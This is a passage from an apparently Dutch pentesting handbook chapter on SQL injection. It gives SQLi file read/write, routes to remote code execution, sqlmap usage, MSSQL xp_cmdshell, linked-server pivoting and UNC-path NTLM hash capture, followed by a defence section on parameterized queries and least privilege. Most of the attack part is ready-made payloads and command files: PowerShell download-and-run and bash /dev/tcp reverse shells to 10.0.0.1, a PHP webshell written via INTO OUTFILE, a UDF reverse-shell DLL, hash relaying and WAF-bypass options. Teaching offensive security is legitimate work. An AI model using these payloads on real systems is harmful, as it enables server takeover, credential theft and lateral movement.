' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -
# Via COPY:
COPY (SELECT '') TO '/tmp/test.txt';
# === PostgreSQL Large Objects (binary bestanden) ===
SELECT lo_import('/etc/passwd', 1337);
SELECT lo_get(1337);
# File schrijven via Large Objects:
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');
# === MSSQL File Lezen ===
' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -
# Tip: MySQL secure_file_priv check:
#   SHOW VARIABLES LIKE 'secure_file_priv'
# Tip: PostgreSQL: pg_read_file werkt alleen in data directory
#   tenzij superuser

IB Tip: Het lezen van /etc/passwd is de klassieke proof-of-concept, maar het echte goud zit in configuratiebestanden: /var/www/html/config.php, /var/www/html/.env, C:\inetpub\wwwroot\web.config. Daar staan de database-credentials, API-keys, en soms — helaas — hardcoded wachtwoorden.


SQL Injection naar Remote Code Execution

Dit is waar SQL Injection ophoudt een “data breach” te zijn en een “volledige compromittering” wordt. Van het lezen van wachtwoord-hashes naar het uitvoeren van willekeurige commando’s op de server. Van diefstal naar controle.

Er zijn verschillende routes, afhankelijk van het database-systeem.

Route 1: MSSQL — xp_cmdshell

Dit is de koninklijke route. MSSQL heeft een ingebouwde stored procedure genaamd xp_cmdshell die operating system commando’s uitvoert. Het is alsof je een achterdeur in een kluis hebt ingebouwd en er vervolgens een bordje “NIET GEBRUIKEN” op hebt gehangen.

-- Stap 1: Geavanceerde opties inschakelen
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -

-- Stap 2: xp_cmdshell inschakelen
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -

-- Stap 3: Commando uitvoeren
'; EXEC xp_cmdshell 'whoami';-- -

En als je eenmaal whoami kunt draaien, kun je alles:

-- Reverse shell via PowerShell
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -

Dat downloadt en voert een PowerShell-script uit dat een reverse shell opzet. Van SQL Injection naar een volledige command-and-control sessie in twee regels.

Route 2: MySQL — Webshell via INTO OUTFILE

Als je file-write rechten hebt (zie vorige sectie):

' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -

Gebruik:

# Commando uitvoeren
curl "http://target/shell.php?cmd=id"

# Reverse shell
curl "http://target/shell.php?cmd=bash+-i+>%26+/dev/tcp/10.0.0.1/443+0>%261"

Route 3: PostgreSQL — COPY FROM PROGRAM

PostgreSQL heeft een feature die zo krachtig is dat het bijna crimineel is: COPY FROM PROGRAM. Het voert een shell-commando uit en leest de output als tabeldata. Het is bedoeld voor data-import. Het wordt gebruikt voor reverse shells.

-- Stap 1: Schrijf een reverse shell script
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -

-- Stap 2: Voer het uit via COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -

Er is ook de UDF-route (User Defined Function) voor complexere scenario’s:

-- Upload een C-extensie via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');

-- Maak een functie die de extensie aanroept
CREATE OR REPLACE FUNCTION rev_shell(text, integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;

-- Roep de functie aan
SELECT rev_shell('10.0.0.1', 443);

Het IB command file: web_sqli_rce

# SQL Injection to RCE - Meerdere databases
# === MSSQL: xp_cmdshell ===
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -
# === MySQL: INTO OUTFILE webshell ===
' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -
# Gebruik: http://target/shell.php?cmd=id
# === PostgreSQL: COPY TO + reverse shell ===
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -
# === PostgreSQL: UDF (User Defined Function) ===
# Stap 1: Compileer C extensie met reverse shell
# Stap 2: Upload via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');
# Stap 3: Maak functie en roep aan
CREATE OR REPLACE FUNCTION rev_shell(text,integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;
SELECT rev_shell('10.0.0.1', 443);
# Tip: PostgreSQL COPY FROM PROGRAM = directe RCE (superuser nodig)
# Tip: MSSQL xp_cmdshell = meest voorkomend in OSCP/OSWA examen

IB Tip: Als je via SQLi een reverse shell opzet, zorg ervoor dat je listener al draait voordat je de payload triggert. Er is weinig triester dan een perfecte SQL Injection die een reverse shell stuurt naar een poort waar niemand luistert.


sqlmap: het Zwitsers zakmes

Er komt een moment in het leven van elke pentester waarop je denkt: “Ik heb nu genoeg handmatige SQL Injection gedaan. Kan iemand dit automatiseren?”

Die iemand heet Bernardo Damele en Miroslav Stampar, en hun creatie heet sqlmap. Het is een open-source tool dat SQL Injection detecteert en exploiteert met een efficiëntie die grenst aan het onbeleefde.

Je geeft sqlmap een URL met een verdachte parameter, en het probeert elke techniek die in dit hoofdstuk is beschreven — UNION, error-based, blind boolean, blind time-based, stacked queries — automatisch. Het is als het inhuren van een team van zes specialisten voor de prijs van een command-line tool.

Basis gebruik

# Simpelste scan
sqlmap -u "http://target/page?id=1" --batch

# Met POST data
sqlmap -u "http://target/api" \
  --method POST \
  --data "id=1&sort=name" \
  -p id \
  --batch

# Met cookie (voor authenticated scans)
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" \
  --batch

De --batch flag beantwoordt alle vragen automatisch met de default optie. Zonder die flag stopt sqlmap elke vijf seconden om je een vraag te stellen, wat na de derde keer zoiets doet met je geduld als een druppende kraan om drie uur ’s nachts.

Database enumereren

# Toon alle databases
sqlmap -u "http://target/page?id=1" --dbs

# Toon tabellen in een specifieke database
sqlmap -u "http://target/page?id=1" -D dbname --tables

# Dump een tabel
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

# Alleen specifieke kolommen
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users \
  -C username,password \
  --dump

Geavanceerde opties

# Interactieve OS-shell
sqlmap -u "http://target/page?id=1" --os-shell

# SQL-shell (voer willekeurige SQL uit)
sqlmap -u "http://target/page?id=1" --sql-shell

# Bestand lezen van de server
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"

# Webshell uploaden
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

Technieken specificeren

Soms wil je sqlmap beperken tot een specifieke techniek, bijvoorbeeld als UNION-based de enige is die werkt en je niet wilt wachten tot alle time-based tests zijn afgerond:

# Alleen UNION-based
sqlmap -u "http://target/page?id=1" --technique=U

# Alleen blind boolean
sqlmap -u "http://target/page?id=1" --technique=B

# Alleen time-based
sqlmap -u "http://target/page?id=1" --technique=T

# Alles proberen (standaard)
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ

De letters staan voor: Boolean blind, Error-based, UNION query, Stacked queries, Time-based blind, Query inline.

Burp Suite integratie

De krachtigste manier om sqlmap te gebruiken is met een vastgelegd request uit Burp Suite:

# Stap 1: In Burp, rechtermuisknop op het request → "Copy to file"
# Stap 2: Voer sqlmap uit met dat bestand
sqlmap -r request.txt --batch

Dit behoudt alle headers, cookies, en body-parameters exact zoals de browser ze verstuurde. Geen gedoe met het reconstrueren van complexe requests.

WAF bypass met tamper scripts

Als er een Web Application Firewall (WAF) is die je payloads blokkeert:

# space2comment: vervangt spaties door /**/
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment

# Meerdere tampers combineren
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment,between,randomcase

# Diepere scan (meer payloads, meer risico)
sqlmap -u "http://target/page?id=1" \
  --risk=3 --level=5

Populaire tamper scripts: - space2comment — spaties worden /**/ - between> wordt NOT BETWEEN 0 AND - randomcaseSELECT wordt SeLeCt - charencode — URL-encodeert de payload - equaltolike= wordt LIKE

Het IB command file: web_sqli_sqlmap

# SQLMap - Geautomatiseerde SQL Injection
# === Basis scan ===
sqlmap -u "http://target/page?id=1" --batch
# POST data:
sqlmap -u "http://target/api" --method POST \
  --data "id=1&sort=name" -p id --batch
# Met cookie:
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" --batch
# === Enumeratie ===
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users --dump
# Specifieke kolommen:
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users -C username,password --dump
# === Geavanceerd ===
# OS shell (interactief):
sqlmap -u "http://target/page?id=1" --os-shell
# SQL shell:
sqlmap -u "http://target/page?id=1" --sql-shell
# File lezen:
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"
# File schrijven (webshell):
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"
# === Techniek specificeren ===
# Alleen UNION: --technique=U
# Alleen blind: --technique=B
# Alleen time: --technique=T
# Alle technieken: --technique=BEUSTQ
# === Burp request gebruiken ===
sqlmap -r request.txt --batch
# Tip: --batch = geen interactieve vragen,
#   --risk=3 --level=5 voor diepere scan
# Tip: --tamper=space2comment voor WAF bypass

IB Tip: sqlmap slaat resultaten op in ~/.sqlmap/output/. Als je een scan hervat na een onderbreking, pakt sqlmap automatisch de cache op. Gebruik --flush-session als je een schone start wilt. Gebruik --fresh-queries als je de cache wilt negeren maar de sessie wilt behouden.


MSSQL-specifiek: het Windows-ecosysteem

Microsoft SQL Server is een apart verhaal. Niet alleen omdat het op Windows draait (hoewel er tegenwoordig een Linux-versie is die niemand vrijwillig gebruikt), maar omdat het diep geintegreerd is met Active Directory. Een gecompromitteerde SQL Server is vaak de eerste stap naar het compromitteren van een heel Windows-domein.

Hier betreden we het terrein van het netwerk-pentest. SQL Injection was de deur; MSSQL is de gang die naar de rest van het gebouw leidt.

xp_cmdshell: commando-uitvoering

We hebben xp_cmdshell al gezien in de RCE-sectie, maar laten we het compleet behandelen.

Stap 1: Check of xp_cmdshell actief is

SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'"

Stap 2: Activeer xp_cmdshell (sysadmin-rechten vereist)

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Stap 3: Commando’s uitvoeren

EXEC master..xp_cmdshell 'whoami'
EXEC master..xp_cmdshell 'ipconfig'
EXEC master..xp_cmdshell 'net user'

Stap 4: Reverse shell

EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'

Via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance 'TARGET,1433' `
  -Command 'whoami' -RawResults

IB Tip: Na gebruik altijd xp_cmdshell weer uitschakelen: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; Dit is niet uit nettighied, maar om te voorkomen dat andere aanvallers (of geautomatiseerde scans) dezelfde route vinden.

Alternatieve methoden als xp_cmdshell geblokkeerd is:

Als de beheerder xp_cmdshell heeft uitgeschakeld en je kunt het niet weer inschakelen (misschien via een trigger of audit), zijn er alternatieven:

-- sp_OACreate (COM objects)
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @shell INT;
EXEC sp_OACreate 'wscript.shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'run', null, 'whoami > C:\temp\out.txt';

-- CLR Assembly (custom .NET code laden)
-- (complexer, maar moeilijker te blokkeren)

Het IB command file: mssql_xpcmdshell

# MSSQL xp_cmdshell - OS Command Execution
# Stap 1: Check of xp_cmdshell actief is
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLQuery -Instance 'TARGET,1433'
  -Query 'SELECT * FROM sys.configurations
  WHERE name = ''xp_cmdshell'''"
# Stap 2: Activeer xp_cmdshell (sysadmin nodig)
EXEC sp_configure 'show advanced options', 1;
  RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
  RECONFIGURE;
# Stap 3: Commando uitvoeren
EXEC master..xp_cmdshell 'whoami'
# Stap 4: Reverse shell via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLOSCmd -Instance 'TARGET,1433'
  -Command 'whoami' -RawResults"
# Tip: Na gebruik weer uitschakelen:
#   EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
# Tip: Als xp_cmdshell geblokkeerd is,
#   probeer sp_OACreate of CLR assembly

MSSQL Enumeratie met PowerUpSQL

Voordat je xp_cmdshell gaat afvuren, wil je weten waar je mee te maken hebt. PowerUpSQL is een PowerShell-module die MSSQL-enumeratie automatiseert.

SQL Server instances vinden in het domein:

Import-Module .\PowerUpSQL.ps1

# Stap 1: Vind alle SQL Server instances
Get-SQLInstanceDomain -Verbose

# Stap 2: Welke zijn bereikbaar?
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose

# Stap 3: Server-informatie ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose

Rechten en databases enumereren:

# Audit de instance
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose

# Databases bekijken
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose

# Tabellen in een database
Get-SQLTable -Instance 'TARGET,1433' `
  -DatabaseName master -Verbose

# Check of we sysadmin zijn
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

Linked servers ontdekken:

Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Dit is cruciaal, want linked servers zijn vaak de sleutel tot laterale beweging door het netwerk.

Het IB command file: mssql_enum

# MSSQL Enumeratie met PowerUpSQL
# Stap 1: Vind SQL Server instances in het domein
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLInstanceDomain -Verbose"
# Stap 2: Check welke instances bereikbaar zijn
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose
# Stap 3: Server info ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose
# Stap 4: Check huidige rechten
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose
# Stap 5: Database enumeratie
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose
Get-SQLTable -Instance 'TARGET,1433'
  -DatabaseName master -Verbose
# Stap 6: Linked servers ontdekken
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose
# Stap 7: Check for sysadmin
Get-SQLQuery -Instance 'TARGET,1433'
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"
# Tip: SQL Server service accounts hebben vaak
#   hoge privileges in AD

IB Tip: SQL Server service accounts draaien verbazingwekkend vaak als domein-gebruiker met te hoge privileges. Soms zelfs als Domain Admin. Dit is het soort configuratiekeuze dat gemaakt wordt op een vrijdagmiddag om halfvijf en vervolgens nooit meer wordt herzien.

Linked Servers: de springplank

Linked servers zijn MSSQL’s manier om verbinding te maken met andere database-servers. Het idee is onschuldig: je hebt SQL Server A en SQL Server B, en je wilt vanuit A queries uitvoeren op B. SQL Server biedt dit via linked servers.

Het probleem is dat linked server-verbindingen vaak draaien met hogere privileges dan de originele verbinding. Als je op SQL1 een gewone gebruiker bent, maar SQL1 heeft een linked server naar SQL2 die als sa (sysadmin) draait, dan heb je via SQL1 sysadmin-rechten op SQL2.

En het wordt nog mooier: linked servers kunnen geketend worden. SQL1 -> SQL2 -> SQL3. Als elke link met hoge privileges draait, kun je via drie sprongen op een server uitkomen waar je normaal geen toegang hebt.

Stap 1: Ontdek linked servers

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Stap 2: Query via linked server (OPENQUERY)

SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')

Stap 3: Geneste links (SQL1 -> SQL2 -> SQL3)

En hier wordt de quote-escaping een nachtmerrie:

SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')

Elke laag dieper verdubbelt het aantal quotes. Bij drie lagen heb je acht quotes nodig voor een enkele quote. Het is als een matroesjka van string escaping.

Stap 4: Via PowerUpSQL (veel eenvoudiger)

Import-Module .\PowerUpSQL.ps1
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' `
  -Query "EXEC master..xp_cmdshell 'whoami'" |
  Select-Object Instance,Sysadmin,CustomQuery |
  Format-Table

Dit crawlt automatisch alle linked servers en voert je query op elk ervan uit. PowerUpSQL regelt de quote-nesting voor je.

Stap 5: xp_cmdshell activeren op een linked server

EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]

EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]

Het IB command file: mssql_linked

# MSSQL Linked Server Crawling -
#   Chain via meerdere SQL servers
# Stap 1: Ontdek linked servers
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl
  -Instance 'TARGET,1433' -Verbose"
# Stap 2: Query via linked server (OpenQuery)
SELECT * FROM OPENQUERY("LINKED_SERVER",
  'SELECT @@servername;
   EXEC master..xp_cmdshell ''whoami''')
# Stap 3: Genest (dubbel gelinkt - SQL1 -> SQL2 -> SQL3)
SELECT * FROM OPENQUERY("SQL2",
  'SELECT * FROM OPENQUERY("SQL3",
    ''SELECT @@servername;
      EXEC master..xp_cmdshell ''''whoami'''''')')
# Stap 4: Via PowerUpSQL crawl + commando
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLServerLinkCrawl -Instance 'TARGET,1433'
  -Query 'EXEC master..xp_cmdshell ''whoami'''
  | Select-Object Instance,Sysadmin,CustomQuery
  | Format-Table"
# Stap 5: xp_cmdshell activeren op linked server
EXEC ('sp_configure ''show advanced options'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('sp_configure ''xp_cmdshell'', 1;
  RECONFIGURE;') AT [LINKED_SERVER]
EXEC ('xp_cmdshell ''whoami''') AT [LINKED_SERVER]
# Tip: Linked servers draaien vaak als SA -
#   privilege escalation kans

UNC Path Injection: hashes stelen

Dit is een van de meest elegante aanvallen in het MSSQL-arsenaal. In plaats van data uit de database te halen, dwing je de SQL Server om naar jou te verbinden. En bij die verbinding stuurt Windows automatisch een NTLMv2-authenticatie-hash mee.

Het is alsof je niet naar de bank gaat om te roven, maar de bank overtuigt om een koerier te sturen met de kluissleutels. Naar jouw adres.

Stap 1: Start een listener op je aanvaller-machine

# Optie A: Responder (vangt NTLM-hashes op)
responder -I eth0 -wrf

# Optie B: Impacket SMB server
python3 smbserver.py share /tmp -smb2support

Stap 2: Trigger een UNC-pad vanuit SQL

EXEC master..xp_dirtree '\\10.0.0.1\share'

Alternatieven:

EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1

Wat er gebeurt: de SQL Server probeert het UNC-pad te bereiken. Windows ziet een SMB-share (\\10.0.0.1\share) en stuurt automatisch de NTLM-credentials van het service account mee. Jouw Responder vangt de hash op.

Stap 3: Crack de hash

hashcat -m 5600 captured_hash.txt wordlist.txt

Stap 4: Of relay de hash

Als het SQL Server service account hoge privileges heeft op andere systemen, kun je de hash relayen in plaats van cracken:

python3 ntlmrelayx.py -t TARGET2 -smb2support

Het IB command file: mssql_unc_inject

# MSSQL UNC Path Injection - NTLMv2 hash capture
# Stap 1: Start Responder op aanvaller
responder -I eth0 -wrf
# Of Impacket smbserver:
python3 smbserver.py share /tmp -smb2support
# Stap 2: Trigger UNC path vanuit SQL
#   (forceert NTLM auth naar aanvaller)
EXEC master..xp_dirtree '\\10.0.0.1\share'
# Alternatieven:
EXEC master..xp_fileexist '\\10.0.0.1\share\test'
EXEC master..xp_subdirs '\\10.0.0.1\share'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLUncPathInjection -CaptureIp 10.0.0.1"
# Stap 3: Crack captured NTLMv2 hash
hashcat -m 5600 captured_hash.txt wordlist.txt
# Stap 4: Als SQL service draait als domain account
#   - relay naar andere service
python3 ntlmrelayx.py -t TARGET2 -smb2support
# Tip: SQL service accounts draaien vaak
#   als domain user met hoge privileges

IB Tip: UNC path injection is vooral krachtig als de SQL Server service draait als een domein-account (wat het bijna altijd doet). Zelfs als je de hash niet kunt cracken, kun je vaak relayen. Check met xp_cmdshell 'whoami' als welk account de service draait.


Verdediging: hoe het wel moet

We hebben nu een heel hoofdstuk besteed aan het breken van dingen. Laten we even praten over het repareren ervan. Want als je na het lezen van dit alles niet een vage misselijkheid voelt over je eigen code, heb je niet goed opgelet.

1. Parameterized queries — overal, altijd, zonder uitzonderingen

Dit is de enige verdediging die ertoe doet. Al het andere is een pleister op een geamputeerd been.

Python (psycopg2 / PyMySQL):

# GOED
cursor.execute(
    "SELECT * FROM users WHERE username = %s AND password = %s",
    (username, password)
)

# SLECHT — doe dit nooit
cursor.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
    f" AND password = '{password}'"
)

Java (JDBC):

// GOED
PreparedStatement ps = conn.prepareStatement(
    "SELECT * FROM users WHERE username = ? AND password = ?"
);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

// SLECHT
Statement s = conn.createStatement();
s.executeQuery(
    "SELECT * FROM users WHERE username = '" + username + "'"
);

PHP (PDO):

// GOED
$stmt = $pdo->prepare(
    "SELECT * FROM users WHERE username = :user
     AND password = :pass"
);
$stmt->execute([':user' => $username, ':pass' => $password]);

// SLECHT
$pdo->query(
    "SELECT * FROM users WHERE username = '$username'"
);

C# (.NET):

// GOED
using var cmd = new SqlCommand(
    "SELECT * FROM users WHERE username = @user", conn
);
cmd.Parameters.AddWithValue("@user", username);

// SLECHT
var cmd = new SqlCommand(
    $"SELECT * FROM users WHERE username = '{username}'", conn
);

Node.js (met mysql2):

// GOED
const [rows] = await connection.execute(
  'SELECT * FROM users WHERE username = ? AND password = ?',
  [username, password]
);

// SLECHT
const [rows] = await connection.query(
  `SELECT * FROM users WHERE username = '${username}'`
);

Het patroon is altijd hetzelfde: de query heeft placeholders (?, %s, :name, @name) en de waarden worden apart meegegeven. De database-driver zorgt ervoor dat de waarden als data worden behandeld, nooit als code.

2. ORM gebruiken

Object-Relational Mappers (ORMs) zoals SQLAlchemy, Hibernate, Entity Framework, en Sequelize genereren parameterized queries automatisch:

# SQLAlchemy — automatisch parameterized
user = session.query(User).filter_by(
    username=username, password=password
).first()

Maar pas op: ORMs beschermen je niet als je raw SQL gebruikt:

# Dit is WEER kwetsbaar, ook met SQLAlchemy!
session.execute(
    f"SELECT * FROM users WHERE username = '{username}'"
)

# GOED: raw SQL met parameters in SQLAlchemy
from sqlalchemy import text
session.execute(
    text("SELECT * FROM users WHERE username = :user"),
    {"user": username}
)

3. Least Privilege

De database-gebruiker waarmee je applicatie verbindt, zou zo weinig mogelijk rechten moeten hebben:

-- Maak een beperkte gebruiker
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'sterkwachtwoord';

-- Geef alleen de rechten die nodig zijn
GRANT SELECT, INSERT, UPDATE ON shop.products TO 'webapp'@'localhost';
GRANT SELECT, INSERT ON shop.orders TO 'webapp'@'localhost';

-- NIET dit:
GRANT ALL PRIVILEGES ON *.* TO 'webapp'@'%';
-- ^^^^ dit is het database-equivalent van je voordeur openlaten
--      met een bordje "welkom, neem wat je wilt"

Specifiek: - Geen FILE privilege (voorkomt LOAD_FILE / INTO OUTFILE) - Geen EXECUTE op system stored procedures (voorkomt xp_cmdshell) - Geen superuser/sa-rechten - Beperk tot specifieke tabellen en operaties

4. Web Application Firewall (WAF)

Een WAF is als een uitsmijter bij een club: het houdt de meeste ongewenste bezoekers tegen, maar een vastberaden aanvaller met een net pak komt er toch doorheen.

WAFs detecteren bekende SQL Injection-patronen:

# Deze payloads worden geblokkeerd door de meeste WAFs:
' OR 1=1-- -
' UNION SELECT
; DROP TABLE

# Deze misschien niet:
'/**/OR/**/1=1--/**/-
' /*!50000UNION*/ /*!50000SELECT*/
' uNiOn SeLeCt

Een WAF is een aanvullende verdedigingslaag. Het is geen vervanging voor parameterized queries. Vertrouwen op alleen een WAF is als het dragen van een kogelvrij vest terwijl je de deur van je huis open laat staan.

5. Error handling

Geef nooit database-foutmeldingen door aan de eindgebruiker:

# SLECHT
try:
    cursor.execute(query)
except Exception as e:
    return f"Database error: {e}"  # aanvaller ziet de fout!

# GOED
try:
    cursor.execute(query)
except Exception as e:
    logger.error(f"Database error: {e}")  # log intern
    return "Er is een fout opgetreden."  # generieke melding

Error-based SQL Injection bestaat alleen omdat applicaties hun foutmeldingen tonen. Stop daarmee en een hele klasse aanvallen verdwijnt.

6. Input validatie (als extra laag)

Input validatie is niet je primaire verdediging (dat zijn parameterized queries), maar het is een nuttige extra laag:

import re

def validate_product_id(product_id: str) -> bool:
    """Product ID moet een geheel getal zijn."""
    return bool(re.match(r'^\d+$', product_id))

def validate_sort_column(column: str) -> str:
    """Alleen toegestane kolomnamen voor ORDER BY."""
    allowed = {'name', 'price', 'date', 'rating'}
    if column not in allowed:
        return 'name'  # default
    return column

Let op dat ORDER BY niet geparameteriseerd kan worden (het is een identifier, geen waarde). Gebruik daarvoor een allowlist.


De ongemakkelijke waarheid

Laten we even eerlijk zijn. Het is 2026. SQL Injection is ontdekt in 1998. De eerste grote SQLi-aanval was in 2008 (Heartland Payment Systems, 130 miljoen creditcards). Bobby Tables — de XKCD-strip die SQL Injection uitlegt — is van 2007. Dat is bijna twintig jaar geleden.

En toch. Toch zijn er op dit moment bedrijven die applicaties in productie draaien met code als:

query = "SELECT * FROM users WHERE id = " + request.args.get('id')

Geen parameterized queries. Geen input validatie. Geen WAF. Niets. Nada.

Dit zijn geen startups van twee studenten in een garage. Dit zijn bedrijven met budgetten, met “security teams”, met ISO-certificeringen aan de muur en een CISO die presentaties geeft op conferenties over “het belang van security by design.”

En ergens in de kelder van dat gebouw draait een PHP 5.6-applicatie uit 2009 die de boekhouding doet en die niemand durft aan te raken omdat “hij werkt en er is geen documentatie.” En die applicatie concateneert strings. In 2026. Met directe toegang tot de productiedatabase. Die ook de salarissen bevat.

Dat is geen fout meer. Dat is een keuze. Het is de keuze om de achterdeur open te laten staan en er vervolgens verbaasd over te zijn dat er iemand binnenkomt. Het is de keuze om een rookmelder te kopen, de batterij er niet in te doen, en vervolgens het rookmelderbedrijf aan te klagen als het huis afbrandt.

De patch bestaat. Al meer dan twintig jaar. Het is een enkele regel code. cursor.execute(query, params) in plaats van cursor.execute(f"...{user_input}..."). Het kost vijf minuten om te implementeren. En bedrijven kiezen ervoor om het niet te doen.

Want weet je wat duurder is dan parameterized queries implementeren? Alles behalve parameterized queries implementeren. De pentest die de SQLi vindt. De incident response als het misgaat. De juridische kosten. De boete van de Autoriteit Persoonsgegevens. De PR-kosten om uit te leggen waarom de wachtwoorden van 2 miljoen klanten op Pastebin staan.

Maar die vijf minuten om die ene regel code te veranderen? Nee. Daar is geen budget voor. Dat staat niet in de sprint planning. Dat heeft geen prioriteit.

Incompetent bastards, inderdaad.


IB Command File referentietabel

Hieronder een overzicht van alle command files die in dit hoofdstuk zijn behandeld, met hun locatie in het IB-project en hun functie.

Command file Pad in IB Techniek Database(s)
web_sqli_union http/commands/web_sqli_union UNION-based extraction MySQL, PostgreSQL, MSSQL, Oracle
web_sqli_error http/commands/web_sqli_error Error-based extraction MySQL, MSSQL, Oracle, PostgreSQL
web_sqli_blind http/commands/web_sqli_blind Boolean + time-based blind MySQL, MSSQL, PostgreSQL, Oracle
web_sqli_file_rw http/commands/web_sqli_file_rw File read/write, webshell MySQL, PostgreSQL, MSSQL
web_sqli_rce http/commands/web_sqli_rce SQLi naar code execution MSSQL, MySQL, PostgreSQL
web_sqli_sqlmap http/commands/web_sqli_sqlmap Geautomatiseerde exploitatie Alle
mssql_enum http/commands/mssql_enum MSSQL enumeratie via PowerUpSQL MSSQL
mssql_linked http/commands/mssql_linked Linked server crawling MSSQL
